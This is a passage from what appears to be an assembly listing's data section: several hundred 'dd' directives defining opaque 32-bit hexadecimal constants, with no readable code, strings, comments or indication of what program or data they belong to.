312ABD19h, 33D50119h, 6FC780A2h dd 0E404040h, 1B7278E8h, 9AD5A000h, 961694E1h, 90B50040h dd 0D2155CDBh, 5A48FFF0h, 0B9381214h, 0C42A9832h, 9AE60298h dd 3631C995h, 10C8A061h, 22B6783h, 926D01BAh, 0A0841897h dd 30364B10h, 0CBC7C64h, 5C455742h, 2A52A3A1h, 52C400CCh dd 8168FA36h, 82E50E6Fh, 71E76959h, 9DF81284h, 0F0E2464h dd 0C588CF21h, 880127Dh, 0FF82504h, 1497BD2Fh, 0CA44A260h dd 40563E38h, 4C159370h, 50422C70h, 0C4AE6F1Fh, 11BE5C63h dd 14CA56B0h, 4106569h, 4016E611h, 0A42B1898h, 865C0498h dd 98C56768h, 1E17AFF8h, 7E8F4C0h, 0C1823458h, 2C66E4DCh dd 0EED744h, 5AF25726h, 0F78F49BDh, 19A92Eh, 10EF5B60h dd 7B0F02ECh, 0BC6C3BDBh, 5FF08880h, 0CF0BD151h, 168BDACCh dd 48300F80h, 0CC34E4B1h, 0A9C00848h, 4EEC9B72h, 0D900DCACh dd 2FD3AB31h, 941491D4h, 407413Ch, 3839E46Ah, 0D167FE1Ch dd 0B72D16C0h, 9FCB74h, 9776C206h, 19966390h, 5A29090Ch dd 4021A0F7h, 5C0107D3h, 26263A3h, 4027439Fh, 0BEF23122h dd 3C523A00h, 829B05BBh, 1AB7062Ch, 0F4F455C2h, 0AAF5E300h dd 0D4597563h, 84645149h, 0E54457F0h, 282BB194h, 99129D00h dd 53851EBh, 0F1096700h, 9A13606Bh, 0FBE51393h, 0AC6C04DDh dd 230CA52Eh, 0A8262C6Ch, 0C07FFF40h, 0CE3E877h, 3E444A8Fh dd 9D756D30h, 4514F0A8h, 0EDCB7300h, 4E0D0935h, 12C301BBh dd 0C7DC0ABEh, 1CA3D84Ah, 9C723A07h, 90BBC2BAh, 0F1E1FDCh dd 0A97D8750h, 0CC914A89h, 3CA03640h, 0A03CA568h, 8E165028h dd 9BE316C6h, 25B03043h, 2C0FB644h, 0A07C9668h, 86CEB3AEh dd 0B9BD043Dh, 0A3B49141h, 0E8C10D08h, 0A0237137h, 411F500Fh dd 0EAC78400h, 64745F17h, 45E6861Ch, 10037993h, 262BBCh dd 0CEC97E31h, 0F96FF835h, 157B3300h, 25820DFBh, 203959C0h dd 9CD18C3Bh, 0BC007C33h, 7F5CE78Bh, 9E040902h, 53322C19h dd 49BA898h, 0C0F5BB1Eh, 7104C091h, 822547ACh, 0C8149A31h dd 42E6990h, 6807E742h, 430A4040h, 90EB209Ch, 9D043E51h dd 276F0297h, 0FBE2F5A0h, 1F0C5D80h, 11BF0956h, 0C6803A2Fh dd 0DB381844h, 0FA642102h, 53F016A0h, 768C0090h, 9F86684Dh dd 0FE0171F6h, 6516972Bh, 0B501B353h, 486800E2h, 12E0A42Eh dd 0C8A0C3E9h, 7700CEACh, 0EC1E9410h, 908A674h, 0F6EB1F30h dd 0FE18A846h, 0B9B95F6Eh, 0F474FFh, 830588CCh, 0D51CA834h dd 0B59B6C00h, 7B4A6FF7h, 68290E50h, 707296F5h, 252BBD28h dd 1CFA88h, 0F1C27645h, 0A9A3B414h, 1BC5591Dh, 0BBCAC480h dd 1228D9E9h, 60BE7233h, 0F05C5E20h, 2D201460h, 1E946A84h dd 95BBCD40h, 0CC11FC18h, 7262238h, 0F7E398A4h, 0F00D20F5h dd 880A9C86h, 784AFB06h, 0B44F6DC4h, 42C15323h, 89AE20DFh dd 16019E32h, 0D01D20CAh, 43FEC0AAh, 297E4AACh, 0FC6AFCF0h dd 9CD0CF05h, 9CCCD28Dh, 99396328h, 75A807D4h, 5377ECE9h dd 9E4163Fh, 994B2DA7h, 600594B0h, 0FA100880h, 0B929100h dd 0FC4E4DE7h, 17872494h, 245700BCh, 0B14BB9F7h, 0DDC5D701h dd 71BCF64Fh, 60F22821h, 815E24C4h, 0C10824DEh, 8004D44Ch dd 0CE14B394h, 0C25D807Ah, 566B2CF0h, 1F589029h, 0BC4F5857h dd 0F098A4C9h, 4400BC0Ah, 8BDE67BBh, 246970h, 21EF1430h dd 26F86DDFh, 3C498FF1h, 0A8FFA0ECh, 2C73341Bh, 1F9C7C8Fh dd 964602DAh, 4C6C3669h, 4C2C6322h, 180889Ch, 7BCBEECEh dd 8500FDFCh, 0C1299964h, 0EAD724E0h, 2FB2131Dh, 0FF18D19Dh dd 1205FC33h, 0DE0428E7h, 0E77F00A2h, 2CF04AA8h, 3033D43h dd 0DFAE777Eh, 5C64B8BAh, 986709C6h, 58E65E5Dh, 0BC0C8D01h dd 6CF2261Fh, 452BAB41h, 81003036h, 0DDB3CE1Eh, 0D63E8A91h dd 128C50D2h, 0F4139D70h, 5821BF6Ch, 14734B26h, 66C48891h dd 64D0252Dh, 105C26h, 0F6A19E50h, 687E0BB3h, 7D970303h dd 0D8E8CC39h, 914AED4Bh, 2C389034h, 6712E431h, 0AAF6C4C0h dd 9B7402FDh, 0F7154D8Dh, 248F88C0h, 0BB417B05h, 0FC70BE76h dd 0A1394E6Bh, 4310CF48h, 40025D51h, 0CB56BE0Eh, 886468h dd 0F78D8523h, 0B7EE1DD4h, 228BF100h, 275E1744h, 0F4800E3h dd 7DA44909h, 0F74850B5h, 103422B8h, 1C3624F6h, 0E4470842h dd 0F9C0DE0Ch, 8E20AEh, 4B345F90h, 4586178h, 4C98915Ch dd 0B23525EEh, 7F4800FCh, 988D4CD4h, 0E2244862h, 0D7019100h dd 63E77AE3h, 0D2210A09h, 8B1C3195h, 992813E4h, 0F91C0070h dd 55CF3744h, 187E8F07h, 6190A966h, 245EA879h, 102059E0h dd 94C78A80h, 1715C380h, 159AF12h, 7A36BDBBh, 0FC31B732h dd 895C72F5h, 800BC908h, 53590284h, 0AABE0F63h, 566F162Ch dd 28D6E68Eh, 384449E8h, 0A050F59Ch, 0F87551CFh, 79052796h dd 5D686C18h, 70A01096h, 3A3B44h, 381689B2h, 0AF9AC774h dd 1C20F024h, 0BC826310h, 3161BAFDh, 5C6420E0h, 24CDA388h dd 0E01C8ACEh, 20AB3508h, 0F923C804h, 78B44157h, 0D458E9CFh dd 0E8A7896Ch, 74000ACDh, 0C2EF2051h, 2CD49313h, 1FDFB15Bh dd 4434EED5h, 0ACF3403Ah, 4E3E62Fh, 0F281A750h, 4B04E6FBh dd 6F4D6840h, 926BFA8h, 81AA43D2h, 8C596CE2h, 2B525E00h dd 0FFD79D67h, 70F23C61h, 0F8974958h, 892B8084h, 8AFE4088h dd 411F066Dh, 5340F1DDh, 0EFB3AF02h, 6B3205B6h, 22666F50h dd 1CCC80BCh, 50141F00h, 850E9E17h, 0FE07E695h, 0A874A324h dd 0ECF5D0CBh, 124C1F9Ah, 7B480375h, 2688575Ch, 843E3E66h dd 44151270h, 0A021FC28h, 631724h, 0B717E9Eh, 1D39DB3Eh dd 0D8D6601h, 0E7454F37h, 3C10E9ADh, 0E97E044Ch, 0D9B98B26h dd 5D38E707h, 9C1FB040h, 788AE3Bh, 2E19571Eh, 0C8534540h dd 5A31699Ch, 5626513Eh, 0AA001822h, 0CF4AA6EEh, 9894B9C2h dd 8C885E97h, 944600BDh, 0FA60B396h, 0E107167Ah, 5FE52D41h dd 185C6659h, 59466F07h, 11E86794h, 0B4F7571Dh, 764175C0h dd 0F41A8E4Ch, 80F09440h, 0C21519A4h, 0B8B6374Ah, 2D1F16E0h dd 5C07F439h, 0E01CDAFh, 0CE088ACDh, 205C76C1h, 59F0C85Ah dd 98043B92h, 5E09C5CFh, 44B06CE6h, 8A5244h, 0BCC05F8Bh dd 9A065975h, 72189B00h, 2A62AB2Bh, 88F624EFh, 921EE014h dd 76017806h, 4F840F55h, 7423EDF7h, 16E89F24h, 6D783043h dd 0B1006C0Ah, 0DDBA8C70h, 3FB6CFBEh, 45002029h, 18EF5667h dd 2B4EE61Eh, 96D3501Ch, 913C88Ah, 93BCD025h, 0B501821Eh dd 0FAB24E0Bh, 6A307A1Ah, 197F444h, 0EF15A369h, 0D4747858h dd 2A4A666Ch, 947E5844h, 2D0318A2h, 3E02819Ah, 0ADD92FF8h dd 0C609C800h, 0D6F7EE53h, 0F4F05706h, 0E526811h, 0E0CA4201h dd 41E4D7ADh, 0A0B41DF1h, 0CC440216h, 1073AA77h, 4DB8CE13h dd 4B00045Dh, 751BF65Bh, 0A7008F56h, 2014EA89h, 4C9A41F3h dd 2422E418h, 1D4E8B0Bh, 8BE8E2D8h, 0E2EB0464h, 45E87097h dd 49D0C007h, 3457F084h, 0AB0178A0h, 0C34EA42Fh, 18235657h dd 5F89584Dh, 0C2075CB0h, 20E1DE27h, 0BE8FCEF8h, 1FD8992Bh dd 1018C0E0h, 211EAAFDh, 633D334Ch, 0B5BCF7E8h, 0FB20C88h dd 0FE87B010h, 0A5E08AEEh, 0CA67391Dh, 726F4613h, 80C83848h dd 0C0D878D7h, 0D4F41F39h, 91575D04h, 0C4A01E36h, 8BE0B437h dd 0D8113CCFh, 80802835h dd 448CD396h, 41680051h, 623C946Bh, 0F04A8328h, 20CACC72h dd 7928DB2h, 0C5AAE901h, 9D49661Eh, 6E007C72h, 84407EF7h dd 56007CB4h, 0D3B50852h, 1DEA134Ah, 8B2B8372h, 6466D0FAh dd 5C66BC11h, 64024322h, 7DE9F40Dh, 98104CA0h, 448C99A4h dd 75184026h, 16A59088h, 154C21Bh, 0E0F2106Ch, 2C1420F4h dd 0E4300789h, 115601E9h, 6AB5417Ch, 36CC3131h, 8D2600F0h dd 0E08E7EFh, 149C9097h, 0B0A7F8BBh, 3DB9F209h, 26180834h dd 69C9564Ch, 9338B64Bh, 8624909Ch, 0E8002670h, 7F4588FDh dd 0CEF1921h, 5EA44DBCh, 63726F20h, 9C6039D2h, 3F0DF3F8h dd 0B5059BDFh, 0CC187F9Fh, 0B4CFCB60h, 0A7B6A101h, 802B1EF4h dd 0BF92D538h, 0BD75B401h, 0C43BB14Bh, 20C41475h, 941858E6h dd 30073D22h, 7F293516h, 4E273EF0h, 40214FF7h, 0D862B7B4h dd 2F00A7F3h, 0E956A048h, 52429E3h, 80FF8E13h, 3894DD0Eh dd 38F88058h, 20373Bh, 17E09341h, 0AAE1A122h, 13861A00h dd 9BAB3290h, 9A39F2EBh, 303720ACh, 64B2C224h, 10C86F44h dd 0F22C00EEh, 48118AD8h, 8901C9C2h, 0F4BDFAADh, 0BC36EF8Ch dd 0E4048A78h, 0A4A4D735h, 0BF690291h, 9880C456h, 4A809ACDh dd 5D70402Bh, 0A5DD7C66h, 0A00C3F2h, 8D7BDABCh, 0B0632D38h dd 72872CB4h, 0C2F3C524h, 1F20C884h, 5B6C88C2h, 0EF482049h dd 32D4895h, 0E8401036h, 0FDB4356Ah, 2CF8B310h, 1000DC1Fh dd 0B6FECA45h, 0C2141643h, 34D54Bh, 25076F64h, 0BD58B2C5h dd 0E914B080h, 573A0CC3h, 69E15B48h, 0B63F23Fh, 0E85467C1h dd 88C44FA0h, 32644869h, 0F8A807B1h, 6A20C2B2h, 0A094D849h dd 6B7680h, 57BD4541h, 256198E6h, 2C8094BCh, 97171ACEh dd 85800082h, 20566E77h, 1D0B08BBh, 6407187Eh, 0EC160048h dd 0B80F3A9Dh, 8E00E223h, 0DEDB9C0Bh, 16F26F6h, 7F8F4E47h dd 39CFCDBDh, 24205F48h, 388D4880h, 3080249Fh, 0F3EFE2EEh dd 14017670h, 4D4B5B1Ch, 0D9C65CC8h, 0E21FE5B0h, 14190054h dd 534BE6FDh, 176A5A4Eh, 7400810h, 0EF143B8Eh, 2C0F333Eh dd 76C7D128h, 6010E957h, 8CA8CB2Bh, 0DA2EA502h, 180716AFh dd 1170AB4Ch, 214A16Ch, 0EEB7CE50h, 30C171BEh, 406FD65Ah dd 0DE304A15h, 0F3FB4D80h, 59B0FC85h, 6F1D4072h, 0BA016249h dd 3875F55Ah, 9024C52Ah, 4C964164h, 3C04BA84h, 37DED832h dd 612A3F80h, 609B008Bh, 685A1F48h, 0D80ABF10h, 0A8C2A1FFh dd 0DEC12701h, 806C339Eh, 2BA8899Eh, 9ED56C98h, 68EF7A01h dd 26F2C8EEh, 0BA8602Bh, 0EB883828h, 0B271F9h, 56B82E36h dd 7C71C18Ah, 12A02F0Fh, 0E85F0AB5h, 0C8659FC4h, 92002120h dd 8B0748A9h, 25BB6C5h, 9A18F291h, 90907385h, 118833BFh dd 45CC04E6h, 0C0BE55BBh, 0E0CB53A4h, 0F1E12094h, 9E106C6Eh dd 1B004228h, 2497A07Ah, 445C7Fh, 290CAE65h, 0DE791AEEh dd 0CC265B12h, 13B9CE4h, 8A0B506Ah, 0C40D1FD9h, 3DEDE302h dd 3842843Ch, 0F2572644h, 254B2154h, 0A0889447h, 5948885Eh dd 8C124AEh, 26F7636Bh, 40E09C49h, 0E987A25Fh, 25691E00h dd 7576A112h, 148300A5h, 0E87C02D4h, 320934AAh, 4C8CB131h dd 56EE028Ch, 0B3C3FF19h, 5C155CC1h, 9E8823CCh, 65200048h dd 32F4B0F2h, 1E0067C7h, 90C251BFh, 643B9E97h, 0C868D05Eh dd 0F9008514h, 0BA55DAEFh, 1ED37E2Dh, 0C2FFBF52h, 488C67F1h dd 9100A071h, 29930B2h, 103E7DBFh, 784E2F2Eh, 0C1E8C850h dd 0B836DD25h, 0E0647938h, 8F690026h, 0E49EC299h, 0AB15E11Eh dd 0D7A03727h, 0C481C420h, 17BC004Bh, 0DA8F31A7h, 0A53C2D1Eh dd 338292A8h, 64489CB6h, 0CC68A625h, 4E162B44h, 6462F075h dd 778DA9Ch, 349364E5h, 7E510058h, 32144C17h, 65C7C144h dd 0D0CC1F81h, 0DC041EC0h, 31F5808Eh, 8202E9B0h, 5C1C743Ch dd 0D86C0070h, 0B41F1AEDh, 0E5522EBAh, 60C82E74h, 0BDFB81D8h dd 331D23E2h, 0AC0C014h, 0DF9A82EDh, 644A083Fh, 90275EA8h dd 2226240h, 8AA041E6h, 886C9BD6h, 79142109h, 0E95C186Bh dd 68A39D6Eh, 81E594A8h, 30A93E18h, 0E2072C3Eh, 0ADAB2587h dd 0E9C2AE60h, 0C5A40EF6h, 42C08AE4h, 0DC9B69B5h, 923BE039h dd 4472153Ah, 7A8B888h, 0DB210050h, 0C273C513h, 0BE64F576h dd 0EC4967F9h, 0A18C5A80h, 9E3D8685h, 0C9A90FCBh, 7529A1B3h dd 9830BE18h, 2BA28844h, 803F1C91h, 12459408h, 0A75B68h dd 62FE5FA1h, 0CDF67418h, 10D5B44Ah, 9B8B498h, 0AA917998h dd 5236683h, 0F9185EC0h, 5086FB05h, 0A473A839h, 2D5A8B57h dd 0F0A02BB1h, 0B6542565h, 44197101h, 118DEF1Bh, 678EF7ECh dd 0F11CDABEh, 0E8C40148h, 0BB50CDACh, 25227448h, 26450037h dd 4A47B7A9h, 4D007021h, 7159756Eh, 0B7FFBF0h, 55EA6563h dd 2A307C4Ch, 912641CBh, 0C4AE7DE6h, 0A63ED78Ch, 246611ECh dd 48E8205Ah, 330049E8h, 0DFA678D2h, 5D745D28h, 5713E481h dd 4C7C3253h, 2590A710h, 0D8444012h, 0C162F00h, 87EA5C07h dd 91F101A1h, 0D681B404h, 0C9FA20C7h, 0C0E01250h, 7B5310FBh dd 0E294B45Bh, 10D1646Bh, 5EAEF13h, 2672D4h, 142BAD74h dd 3DB87348h, 9DD4D259h, 29DBDF4Ch, 58B55CC2h, 45E00AB0h dd 396D0800h, 0D7430DE7h, 4B9EB081h, 2A7498BDh, 5080D09Ch dd 0CBDA70E2h, 2CBE5F56h, 944C7A9Ch, 0BCF71FB8h, 6C0F41D6h dd 0E216B163h, 0C2B08174h, 90447CC1h, 4EC2288h, 38C963CFh dd 8888E862h, 6C10A5B8h, 0BF0055D0h, 0B2575A8Fh, 9409E71h dd 1F15148Eh, 0A4009C73h, 3CF11C97h, 0F76627FDh, 0EC966C10h dd 3B5FF612h, 0A905A705h, 761B18C0h, 0DC16099Fh, 38ECB98Fh dd 81C09C30h, 0F155AEEh, 203DB5FDh, 83F44840h, 6E04FA74h dd 347E677Ch, 63CB8CE8h, 40520C40h, 0C7DA2B88h, 60EB3189h dd 952DE45Ah, 5B9F4558h, 781811h, 0A5DE8A40h, 7596581h dd 9814FDF4h, 17D3F283h, 243B8030h, 42C4A1Ch, 0E8DCC28Fh dd 60D3C8h, 2D06B63h, 1D416CD7h, 0FCB84025h, 1F1C9749h dd 0C30A421Bh, 1027DCA3h, 5E6EB8h, 0E30E672Ah, 6C143A53h dd 7AA89316h, 0C1A7700Bh, 0D0705F10h, 36B7222Dh, 34BADF10h dd 52CEC23Ah, 763CF228h, 0DA6DC600h, 0F984B247h, 7D8C26C5h dd 141AC040h, 0C0DFAA7Eh, 571993C7h, 1C403020h, 2ED874CCh dd 0C7CC5B9Eh, 0C25AD107h, 57862A7h, 0B9439406h, 68255CCAh dd 62098468h, 6DEFDC00h, 0B14C112h, 4CBC12E6h, 0AA549C08h dd 0E3E9FE00h, 0B1C516B6h, 468F0086h, 0CEC7BEE7h, 6DEE1FBAh dd 81DC3159h, 3B2ABC0Dh, 90D33F00h, 1B156500h, 57782DC4h dd 1060E155h, 64963985h, 94A4F080h, 2BEED43Dh, 8F3860B9h dd 0DCBDA745h, 1B1458C0h, 4CD23EF9h, 0FB043C34h, 0DCAD577Ch dd 0C944DD0Ch, 8054B428h, 13D98417h, 3195A23Dh, 1510C894h dd 0E802DCB3h, 59634331h, 9D684141h, 39A5E048h, 0E59FBB03h dd 191880BCh, 2A10F44Dh, 5C825302h, 587B454Fh, 5894495Ch dd 1EE49Dh, 8AFCA35Ch, 0AA04BE5Eh, 3B7EB954h, 1B8058E8h dd 7DDAF1FEh, 85F9C93Fh, 9D11B6F5h, 0F17050C8h, 0EB68F8h dd 34E653E4h, 0D287FCB3h, 67F800B4h, 0B99C05E5h, 9DEB7Ch dd 0F6C32878h, 580A8F12h, 8C01AD96h, 0D9E907C0h, 0C95A139Bh dd 0EE703268h, 111C5412h, 0C3306248h, 8C8C60F2h, 4349890h dd 0F07D4E17h, 10908ADBh, 94423522h, 0C8B1CD85h, 4B5FC1B0h dd 203D7C22h, 2F03D760h dd 29B1B600h, 5BEF7F01h, 45340987h, 0F47A2BBCh, 0B8075001h dd 26126441h, 4AFCDF4h, 0F02F555Dh, 3C20E921h, 0BB018066h dd 5D5FF65h, 93410918h, 0A4F93D8Eh, 166EA06Fh, 0FEC391h dd 0D9DDC91Ch, 37DB8677h, 0B84E2629h, 76CDA200h, 0F29DD4D2h dd 0AFD525DAh, 0CFC2D030h, 442DB499h, 0C557072Ch, 882C63h dd 0BAD00561h, 5BB03810h, 385D3E10h, 95C1804Ah, 0D787D45Eh dd 5AF002Fh, 0C5429E66h, 7A2C7DF2h, 98133884h, 0DC234E2h dd 78C44B6Bh, 0C5680718h, 3E3B81h, 0DDB71C12h, 43A2D3BFh dd 2EF1539h, 0BD72EAD5h, 204675h, 10F56A50h, 0AE180EDDh dd 4995020Bh, 9428149Fh, 7D2B8078h, 16406D44h, 83FA3CE8h dd 0FB662907h, 8BFEDCE4h, 0F6283130h, 1144206Bh, 0AC380110h dd 48A0C823h, 0AA47C010h, 0A0DDE9h, 0CDA6C3D7h, 18521B04h dd 0AB3966F4h, 5890FC17h, 44F45F40h, 48BB585Ch, 0E8250D89h dd 0FED03C0h, 0E71EF5F4h, 0C878BBA0h, 7539CF04h, 52A42452h dd 943F2404h, 760038B7h, 7BFAAA82h, 4F52B94Bh, 0FD0C7C68h dd 90B4D1DCh, 0F96C7358h, 0C826C997h, 0F813AA8h, 0F2202C6Bh dd 0D5A56200h, 0CDD960DBh, 6F3A44A7h, 0A041676Eh, 26A966B4h dd 68A11D4Dh, 4155400Ch, 2056A8C9h, 0D4B09274h, 4061C445h dd 0E0D14C3Ch, 0D0CE8C8Bh, 743F8FE6h, 20242D55h, 6444B198h dd 0F020C425h, 321CFC91h, 240BC835h, 59E6625Fh, 0F92E004Ch dd 0E9C20CEEh, 0D1BB6600h, 0AEE115C8h, 2D240053h, 0EF02D2BAh dd 4100B328h, 6BFBBDB9h, 970D6039h, 40A18491h, 0B9F31EEDh dd 30783D5Fh, 764188E6h, 56800C00h, 684CFC86h, 1184BC14h dd 0A534003Ch, 69F12A19h, 0AC4148BAh, 0CF21AC22h, 6B01829Ah dd 1A2964h, 92813870h, 6DDB00ECh, 0F34B47C8h, 0F70036A4h dd 1D0A4C5Fh, 24C208E3h, 0EB88E19h, 58CBC95Eh, 0C76D5084h dd 0B697E3C4h, 0F66C21C5h, 1046D24h, 1B7C532Dh, 6ADDE249h dd 1F46F8h, 0AA9376C4h, 91571882h, 128077F3h, 8C22323Ah dd 61E10E0h, 0B440B896h, 20B2A61h, 0A66C54D9h, 0EAC094CEh dd 2D4F1BB9h, 38803425h, 0F335EB7h, 9141E7E9h, 1208900h dd 0F905D378h, 1B1765FBh, 0C26E0A6h, 3048606Ch, 89008216h dd 8B6699DDh, 2EB2606h, 42927323h, 0FD60CA12h, 0D52EB508h dd 64EB808Fh, 644F00DCh, 4661898Dh, 971EB37Eh, 0CEC2F76Dh dd 6EC0F51Eh, 0D0A622C4h, 57C8079Dh, 0CFC41019h, 7BB12265h dd 32C6C113h, 402E04C9h, 0DC403D3Ch, 0F102C10Dh, 0BD7EE1C8h dd 27B45042h, 10449BC5h, 0A63D8C28h, 83EDFE00h, 709ECA4Ch dd 106C0076h, 0BEE23A52h, 0A24D3E31h, 0BC0B834Ch, 5C982275h dd 0E82AB825h, 0AFAC04h, 6C6F6BEh, 4C632504h, 0EA7AF7ECh dd 0F94BA406h, 91E81158h, 0E2126714h, 0CA408E89h, 513F39D5h dd 0A9A68074h, 0E4FD9EB1h, 0BCB09746h, 44843B66h, 23EA6EC9h dd 0FAB9613h, 70B8E064h, 0BA87FA80h, 620094B7h, 0C17440D7h dd 2FD313E6h, 0A06164B8h, 485209BBh, 988C24ECh, 57257418h dd 43B4C44Eh, 80492142h, 0D13558D5h, 3850BECDh, 808B697Ch dd 2B2A7Eh, 687B835Bh, 480C423Ah, 4C728F00h, 0BDDB57CFh dd 305B48A0h, 6E6B26CFh, 94970C64h, 49290140h, 97E71C55h dd 0D3C83911h, 308024A2h, 57C5C0F3h, 0D7F01013h, 1C00C485h dd 0E972372Ch, 3B5E161Fh, 0D248B1F7h, 44A190D8h, 4CBC1535h dd 755087h, 8EF22AA7h, 0DF2E1B01h, 1E251707h, 0B4ED2C71h dd 0C082387Dh, 9424E3E9h, 4E802CA8h, 8F5EB26Dh, 41385A00h dd 236710F3h, 0BD680387h, 0AAFA6FBCh, 0F11A66F0h, 0C774144Ch dd 7E50A5A2h, 0FCCDBA49h, 39070055h, 1EACEB63h, 98020540h dd 4E6FF096h, 5EDC993Ch, 73388515h, 0CCBC4C38h, 91885FA8h dd 76FF00B8h, 0B6D109ABh, 0E32C71CCh, 0C1E2B8F7h, 17D846D5h dd 2024F014h, 0D91BF428h, 0C709CA98h, 5A3EBD16h, 93C89914h dd 0F3047256h, 10F1C08Bh, 21B22480h, 821071h, 0F08F56EFh dd 3BC35C8Eh, 7603B402h, 0D6882DB7h, 0EF81627Ch, 36925CDCh dd 8C7884E3h, 630014A6h, 5206E52Eh, 81BFB764h, 4D44603Bh dd 23CDB5Dh, 6BA96D62h, 5CDC6449h, 0DC83D4AFh, 75E0646Eh dd 0D17EBB2h, 0B4A69077h, 1C968007h, 92B630B8h, 0E644DCC2h dd 72C12E1Fh, 3A11B8h, 0A8F4AEE9h, 1756A465h, 72E03076h dd 9E20C9F8h, 264831ECh, 0C40C5674h, 2A0A85Fh, 0CEC2CCE6h dd 4400F882h, 7BE3C1EFh, 0C9C82427h, 0BC098C30h, 87002B4Ch dd 61A0D2E2h, 0A3B463h, 0A4F08249h, 8E5414A0h, 0C014425Ch dd 67EDC2F1h, 0F82A5CD0h, 1C5A5F80h, 29001BCCh, 582E8C83h dd 0FA32BD97h, 1010BF0Fh, 5A05B5C4h, 0F051A241h, 0C07834DDh dd 23AF4880h, 3A090BBFh, 0B92045ADh, 8111438Ch, 409A20BEh dd 2F40EF49h, 3149464h, 2F0B533Ch, 48B0C4E9h, 201F7D0h dd 8C4CF16Dh, 0F4301A75h, 0A0EB52B1h, 2EE3C011h, 4CE4F494h dd 0FEF040ACh, 3602A559h, 0C23C2989h, 681255B4h, 0C344B46Eh dd 4A38006Dh, 2948637Dh, 3A07731Dh, 5A0295DFh, 24E38550h dd 620D5FC0h, 0EE20314Ch, 13611B8Ch, 0D321F7A6h, 2BD0BE34h dd 0E63DE95Eh, 0A0779C9Bh, 26F6AD40h, 3BB222B3h, 405F88B5h dd 21B76808h, 0D902C56Ch, 0F20FB3Ah, 4CB4F0D5h, 15053BF7h dd 22496FF1h, 70E6B97Ch, 87FE401Eh, 0D9CEFDC0h, 0E8E098A0h dd 7F8F3C89h, 8AE7AC50h, 3C002066h, 0FA77D38Ch, 8D331Ah dd 0F558BCDFh, 0F4DDA2Fh, 869E3C12h, 162560E6h, 9165B490h dd 0C63E5AE0h, 0A40D171Eh, 0E207D202h, 0EDCDA2Bh, 73E9A9D2h dd 65964F00h, 0CE00461Ch, 0EAB976C2h, 250149Ah, 3DC7982Eh dd 0CCF39468h, 0CD80B580h, 27B17702h, 403190FAh, 26A4611Fh dd 4C4B78BCh, 0F7F0648Dh, 3065296Fh, 37E6049Ch, 34548040h dd 0D128BB43h, 0E34490B4h, 508E13F6h, 2E6C979Dh, 0F54B6500h dd 3500F730h, 0FE9B78C8h, 254CB324h, 0C0B0F8DDh, 61286B01h dd 5C3A383Dh, 0F08CCB6Ch, 88B9009Fh, 2352BD8Ah, 0FF126D91h dd 0C4705165h, 534034F6h, 0B5037881h, 0E97F8467h, 2B606BA9h dd 0FA85D422h, 746C4450h, 80264A3Ch, 6F233EE3h, 448AD92h dd 0F21EB266h, 4CD8E46Eh, 7651B300h, 6AAE3464h, 45711775h dd 0D460046Dh, 0A4070A5Eh, 548BC835h, 7263A300h, 0EEB19756h dd 0F558B8B7h, 26D8098Bh, 2CF94340h, 5F808821h, 16060EA5h dd 0C5449C36h, 8BBCB42Ah, 0E5C66902h, 0CE70FCC5h, 2EBCBA30h dd 7DF82Eh, 72DEBADh, 4D001BEAh, 0C68A69B8h, 4AD1F0F5h dd 0C054E2B0h, 0E1A9B45h, 9D2D25DCh, 5ED07CE0h, 2546FA8Bh dd 0E4C4C5A2h, 0AF587C84h, 0F43AA240h, 3FD6490Ch, 53F78203h dd 0E218800Fh, 5ED5001Fh, 841C8914h, 722DE179h, 827C6C5Fh dd 401879F6h, 4716A909h, 959D0202h, 6C4B17B0h, 0BA3C4448h dd 0C92A3703h, 0C6334CE4h, 0C022F2F1h, 0F72E5E21h, 150028BEh dd 442C45BBh, 250ED65h, 6056103Ch, 0BC546FD8h, 2055EA40h dd 20029F0Eh, 0B52583EBh, 518008E2h, 10D4EDA0h, 0DDB92102h dd 311D38F9h, 9C202F12h, 45B39Fh, 0AB4BDD5Bh, 0F6F3F778h dd 0C54F5727h, 522662B0h, 1542CC98h, 0E2E8C217h, 86279CB2h dd 62C0BC98h, 9BFCBF19h, 0B814BBC8h, 0A019220h, 88697A18h dd 0CBC4D3E1h, 0F0EF5627h, 0E2CDB817h, 45E3E10h, 0FB6EE00Ch dd 74C80C84h, 0BD8E2F6h, 0C77E4C41h, 0C0541411h, 0D5274FDFh dd 644C4216h, 0AAF60F40h dd 2A2BE7FBh, 0E8F578E9h, 0D4045C08h, 4A0582C1h, 637E8CDDh dd 0F8B46870h, 0F6F78080h, 242D9EF2h, 40784067h, 2CDE55CEh dd 0D1D1E7FFh, 0BF844214h, 24E4FB29h, 2D0EAF8h, 123D5C0Ah dd 0E040147Eh, 0F0FF7034h, 7407D09h, 0D5C08F0Ah, 0A94A34F7h dd 0B0C2177Ch, 70987C64h, 22E8AE63h, 2FF15945h, 63AAB401h dd 0D1F6B57Fh, 0C7660094h, 95843473h, 4F1FE703h, 0D00C35D9h dd 12873D6Bh, 845122Bh, 7E93D750h, 205770E0h, 6F29E0CBh dd 0DF03CC5Ah, 0B02028BBh, 94E6A6F7h, 0C5C598h, 0CA217178h dd 5A009FFDh, 0AAD1887h, 18B9D714h, 0B9CF5CEFh, 52F41C94h dd 3B01F1D2h, 0C25CE515h, 0AAB07068h, 13FE7103h, 4BA3BE00h dd 0B379E1B5h, 6FF80052h, 27E89D32h, 42974A43h, 0F4C640h dd 0E62E20BAh, 7B301901h, 408EB101h, 2D3E5C35h, 3AE4DC31h dd 9FDA12CFh, 0A9942368h, 606F1990h, 57070D00h, 0FCB14FF6h dd 0F3E34AA2h, 377900ACh, 86C95865h, 7428E9CDh, 43EC1A0Eh dd 6669D362h, 48103059h, 34AB3B81h, 9F1894C6h, 2FDF208Ch dd 106A6569h, 0EC60CCF6h, 4C94A4Fh, 99AD4E17h, 0C167C148h dd 8E423C2h, 402BD71Ah, 8ADD24C0h, 0D1444502h, 483B67D0h dd 254CBD88h, 3473DA21h, 0CD267C00h, 7A74B5AAh, 25E5E8A4h dd 84C821D8h, 500BDECh, 0AB6A6899h, 1F91BCAh, 0D7B1F11h dd 889314D6h, 13DD5958h, 846C8031h, 1F004432h, 944A70DCh dd 52F4A8BDh, 0F300B46Eh, 0ADE1DF60h, 1814F2E8h, 828CAA8Bh dd 576F4426h, 0E8D144B9h, 38392ABFh, 51AB0591h, 0B084EE29h dd 20AAC484h, 53F84638h, 8CA0D879h, 255EBF69h, 8A434CC8h dd 0D4679819h, 0F3109B66h, 20D7D2ADh, 0A1FEE160h, 866C626h dd 2129DC0Ch, 9606884Fh, 69515C00h, 0C149A6F5h, 546A59A4h dd 2FE04B11h, 4AD6D838h, 0BAA4A467h, 0C65E0484h, 95AE8D57h dd 83B8ADF4h, 